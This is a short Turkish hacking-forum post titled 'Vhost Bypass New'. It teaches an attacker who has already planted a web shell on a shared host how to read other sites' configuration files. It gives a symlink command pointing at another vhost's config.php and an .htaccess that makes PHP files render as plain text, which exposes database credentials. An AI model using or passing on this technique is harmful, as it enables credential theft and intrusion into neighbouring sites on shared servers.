Hoşgeldin Misafir

Vhost Bypass New

Ft3x

3 Ara 2018
522 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
-Öncelikle Sitemize Shellimizi Yükledik Ve passwd okuduk varsayıyorum Okuyamazsanız Sitede konular var zaten 
ama direk cat /etc/passwd yaparsanız (engellenmiş olabilir bunun için sitedeki konuları okuyun bir yolunu bulursunuz) ardından gelelim config çekmeye hedef siteyi belirlediniz diyelim hedef sitemiz--


-xxxxxc.com olsun direk yeni bir klasör açıp işlemlerimizi orada gerçekleştiriyoruz cgi shell yoluyla 
--

-"ln -s /var/www/vhosts/xxxxxc.com/httpdocs/src/config.php turkhacks.txt "--

-şeklinde config dosyamızı çekiyoruz ardından açmaya çalıştığımızda:--

-" 403--
-Forbidden--
-You do not have permission to access this document.--
-"--
-Diyecektir Htaccessimizi yüklüyoruz--

-Options Indexes FollowSymLinks--
-DirectoryIndex turkhacks.turkhacks--
-AddType txt .php--
-AddHandler txt .php--